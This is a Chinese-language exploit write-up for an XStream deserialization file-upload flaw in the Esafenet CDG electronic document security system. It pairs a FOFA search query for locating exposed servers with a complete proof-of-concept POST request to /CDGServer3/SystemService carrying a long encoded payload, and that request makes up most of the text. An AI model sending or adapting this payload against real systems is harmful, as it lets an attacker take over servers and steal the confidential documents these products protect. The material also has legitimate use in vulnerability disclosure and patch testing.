亿赛通电子文档安全管理系统 SystemService XStream反序列化任意文件上传

产品简介

亿赛通电子文档安全管理系统，（简称：CDG）是一款电子文档安全加密软件，该系统利用驱动层透明加密技术，通过对电子文档的加密保护，防止内部员工泄密和外部人员非法窃取企业核心重要数据资产，对电子文档进行全生命周期防护，系统具有透明加密、主动加密、智能加密等多种加密方式，用户可根据部门涉密程度的不同（如核心部门和普通部门），部署力度轻重不一的梯度式文档加密防护，实现技术、管理、审计进行有机的结合，在内部构建起立体化的整体信息防泄露体系，使得成本、效率和安全三者达到平衡，实现电子文档的数据安全。

漏洞描述

亿赛通电子文档安全管理系统引用了低版本存在反序列化漏洞的XStream库，攻击者可利用该漏洞对服务器systemservice接口 进行上传任意文件，攻击者可通过此漏洞获取服务器权限。

资产测绘

app=“亿赛通-电子文档安全管理系统”

漏洞复现

POC如下：

POST /CDGServer3/SystemService?command=GETSYSTEMINFO HTTP/1.1
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
Connection: close
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.8
Content-Type: text/xml
Host: your_ip
Content-Length: 4610

NNLINELBIIKEOGPIFLNMHIPNNOHFNECLEHKBCIHIFHCMONPDPHOHMONIOCNLPBOKNAEEBHFCIFNMDPDAACABKCKIAEMBPOIBGPMNEIPJAOGBILDKMLDGAENLPAFBKFPFELKLGCEBMBMNKOIBMPHCIODCCEHOKPCEDHPNLONIODEGNCPIGDFMGMDPOMMEDIJNFKDCHHBFMFGBDOIOAHLOHNAMDBJABECIJOEHKAPJCBDIDJHKAMAGEELEHJEEIDBDILILANAKCIIGLMDIDDMOPNCNGLPPOMMIGCEFEBIMDHFAGLHIDHPJCHAEHFPHNHJGJKJDCINLAHOAPCDJNIABODKBFABJMFIEMLLPGGKNNNFCAOBHCOEOHCBFOFGBBPLKPHLLNOCJAKJDJPOEPBEKKPHOPBHFLJLNOGLABIJHIBOFFCPCLPAGLCEAONCAGIJFAEFOLKOLENHNFBOJIAOFJKBFMGNKBEECKKJPCECMFKPPPKEGOIOBHIBIBAGBIKAMOFLEKDKODMHGJOCEPEBNIHPFKEKKMCENNPHEODFNIOPMHFPPNFFIJEEJPPIMGPKHDOACKEEJACLCOKIPFHHECFDFJNMIFNGHLCOFLPDACOOALCNKBOEBPNPCKCKNJJJJANLFPKGLOINAIODAJNHAEDLBNONDJHPFELIJMNLMHEMBFGOHELCDBFHIFALDIIMBFEOHNHBOIOMLCJKCPHJPNDLPHDDCFJNMGKDMEINHIDLEGMOCNAFDAHOMPPIFFBPFCHAPPIDAIAILKODLCALBBJNPCGLPKIEOLEOMKEMBLMLBEGKNGCOKOFIPBCFAAHGCIMCAKFFLFIBDHCDFHMKKNDHLCGIMMNKMBJDGIDJMMGEOEGJNJDNNEKFDMEAHMILDKIFBGKGEJCMGOFEKGJEMNAFLDGEEOBKOHADBAMHBMDJOGIFPMDKIILIGAEELNEOAKNEFHDOGHOPBDICEALJIENFKHFCEHMPBJLCFPDHDGBBFIMKHLLFIHONFDJAIEJJLPPFMAEHBHDEBOIDLCMCIKAFBEBFEBGJEECDEINCPNPKIENONIMPBJCCMCHOAJHHDKDKEGJGDGJDJIDEHNNLNNHEONJEJHNLHLPMBBEJDLLJLLNPKIMGHLOFMMKBDEBHNFLPGEOKMHOFNBLLAALGMKNJONNGIOJLBFECJNLKHMBCKELDPBDMBFEHAKBHEMNDFBBEDCAMMHNNGMDGLNJHJDAGPILNGBEDCDJBCJOAMOBIFLOFCFIJKDELPPFLFBOHHPLECHIFKNGGMLCOHOJOLLCGJLHEDPONFPJNKBOLMHHKMMIINCECJOCOHJKIDAINOHNKDNPOGOMLIKGCBDNHJCLCGGGOMLKAEPNAGGHFCBGCALOHIGGKEHKPJNEBFGMJKJMOCKLFLJGLFKGODMMPBKFCHBIPMPDAFDBNAKGMFKLENODKFGOFBNFAEMGKGDNLDEGHMCPMLNPJFHANKIBLOPHMFJOHJKDMGMBEMKNPBHBEGKCLNMAIGONEMIJFPNFGLEPKIFOEINLPEDMPPBLJFGIBPKODNDOEOBIFBDAJJEIPIPNHIPCBOIHEJMIHBFMIIJBMDNKEDGLHMMAPMDKHCBIGMFCICBNJBGCJLFHBBMKOOIOEFIPOKOKCNPFEKCNMGBJBJIICELLMEOJAMDKNNIMJGBEPCKBJGLJJMBLBJNBOKNIDPEMCBCEFMNBJMEJEPGHDPIGHFIHCIHAJKLMOKNENJGIBPNJKLODGPKAMAOMDJOFADCHAIFENBNFPLALEGPFBIFHGLAKFJMCJJMADKEPOHMGPKHPLIIMIIOMPHPGNKECFCNIHMLNFBABHNJBGCINMANMHPONCEKKNEAKKEMENJCHKOCBMNJDLLGAINKFLKAFLECNOGNLHKKALEAKOFFCKNNHGFCIKDGNNFCDGAABIBEHJBHOHGBNCKFEMICDCFPECJLALMNPNKOGBKNCHNFBFIIJJKFOPDDCCEPOHEGOCCGKBHBDCLFEGKKGFNOCHHCHEEPKCANIHGOPIJLAELGDLACLAFELEPEBEEOJOJPBGGKLHIFENJMBMCBCMPKGHMHNDFMPFIDKOKOANKJBCDCCGELLIANBBMJDDBFGIDNCGBGIFBPKKCNEDDJJBLMJCAPDODIJDEIMKGIFLPPGNPDDEMAOMOMGMPMOFNFHIBJHILECMOBOPOEIEMKCEFNDJKDFGEDNKPFMFDPBIGJMJIBDGKOIMFILNPHBABJPLBOLHCMAAEJHGOKDGBGFELHKKDFEHPJKLFLNIEGIFBCOKLEINPGGCACDGPCHGJKLCKEDGPBHEBKLPKHIJPHHNCODNMHBFEOPNJKPDCENIGKFGBIKKAFHPLKHNONOEAMDLGEOKJCJEPMDCJLJGBNEOIFLDAPHKNBODGDOHMIOCLJMPPADGHOAFOCGLKAGJKIAFAHICPOEPDMJGDKFOMJFGCKBIGHGPBLLIKFJHACGBENHACIBCJHKILMKNGMIJCKOOMEBJNMDNMELHJFEMGDMHKBGCHELEMFHLEBECOFIBLMHANKBBNLFHFPKHNNKIIMPOFPCGNNFOOIJHEOLJAAEOGKLHMKJBDJDMMINBDKLLBPECJOIAILIKCLOLEMHLEEHMIJPHNIOAAPIOFLCLJPBLCFDFJGAAAKBCCAMGOFHDLADMKFDACJOBODMMAIGAKOKJCIECBJMPGKMKBEOCDNGOOECNOOKCJPCNFCGNHFLCHJEDDGHJKBGFGGHCGPIDNOOMJLMGEIDCLHLHHCPFHGKNILKIBPLKCLMBLPDNGIHDLCKNHLPCPJDHFNDBHGBLMMHPCFAKEDCHNOECHCKOBBOJDGKDHIFANKMLFHDPPCOBKAPMJBBEDCAMMHNNGMDGLNJHJDAGPILNGBEDCDJBCJOAMOBIFLOFCFIJKDELPPFLFBOHHBHMCGHIILFLFJKKODPIPOMHFOEKCDGLFCALHCOMMJMEPMHDMAMOJOJCAPGBMMDLDNECINFJNHDJCFMFJHINNOAHKEDGIGEDKHLKLOJBBEAOEEJLCIPFNNNCDLNCKPIBMEJBMLAKGOGCFMHAHFKJGKIIEPBJOHMHNNCPJPLEDDIOBEJELHEHLAGDNIENFLIIOEELLLDFMGFMDIJLGHADDAHHEENOLACIMBABGPNMAHGGEHJAKHGDEJGEINMHBBNBEBPFMJOGAFNPNGGPIEOJJJGCHGAFKFKGPMKDHMBDKOAJOICCCCLPDPIOEFKABFAGNJLPBKHDLKNMPKHPDBDFKJJHICBJJDPPGOGJFDMGMFGHMHPNNDDKBFJBOBBGIGEHEFHLGEMDOAIHADDDNGJNHALLOKCPOEOCBMGEAHLKDHOBGBCLBLMBPKFNNJIBBGCABGLPODHHEIBKCBJHCNAFKMHKBJJJNCIBFEOPADGMBOICJIOAIDFJLAHPOAOKAKHFAEDAEJFJJBPAIAKGPKMNGODAOLMPJMDGLNPDINLOLKBKODHGHEHGIOBEDOEIJIOGIABGMGIDMKAJNDBMAKBGPFJPAMFGCPNKMHMFGHJFHLPHDHFKGLPFLHILDDJENDLCMGPCGEJJEFAABLOEHMDIIGNKKDIILLFGPMBOIKEAAAJGPJHFGAFFPFEPKIKLKBMKLODNLBMFIEFPGAGFPCDCPJACDAEHCFOGEJHHLLBLBBDDOEEJJBPPHDCCOGPOPFOPCFJKBGCNCLLHNAJKIKLHKKIJLAIKBHCMBODNCPCLNHDLMHDPNKGIBANJJHCFLIMKPFOAIEDBDMIBEEPIHODEOLGAJHBNEOGCKIBMGIMJKLAOFAIACFJGOFEIBIOOPDCDCNFIOGCDKEGHEIAOBDCKLLGMEOEKIEHCEBFKAGOLFGCMNLNMJCNJMDBHMDPEGHHFKOJDDAPPHJMBLBDODOHKPNABBMBHMCCMKINKJLCIFBIPCENLPLOFOAJPEFHCDEOGLGFHNOBFFLHDMHNEFAIPMBJJMIIDAEAJAKGDIHIOIPIOPBJKOLEHJLBIOLGLBMHNCNDAHOGDOILIJANBPNLPPKCOKJFJPCLFJPGKDCBMGEOGGGANMMKDILOMJJLPKJJCOPFKPFAHNAIMDOKPCIKNEMFGMGCOGGMKBIBDEKDAKBPBJKPAFGODBFLGADBFNMDAHGLDGNFLLBONBDLAAOIIICMHIPDJCMHBGLFJAIMIBHABENMJOEHJLKGIIJDBBEHFJCHAPPIDAIAILKODLCALBBJNPCGLPKIEOLEOMKEMBLMLBEGKNGCOKOFIPBCFAAHGCIMCAKFFLFIBDHCDFHMKKNDHLCGIMMNKMGOPFDMJHCMOGLKPICOEEDDKPAHLEGOMDMDFLKFECCPILAKGLGDEMGMGEPODAGGJPPNDCHOBPHJKBDAKECOBIOJGKDMBKDBFPEGIGNOBDGELAENFFLCBKHHJADGFGCBAINLJPDMOBGLNNHAOBHGLGMMLDHGINFFOLLALGGAADPGMNJDMNOLKINDIKKIHJKDEKFAJDHPHNGAIBGNAODMICFEFCCHDPGMLJOGIJCIOOMMGEKPILGPFJOCMKILLFGPEAIBIDBGNPPDHLLAHMKLEJBJFBFPFBDNEJCN

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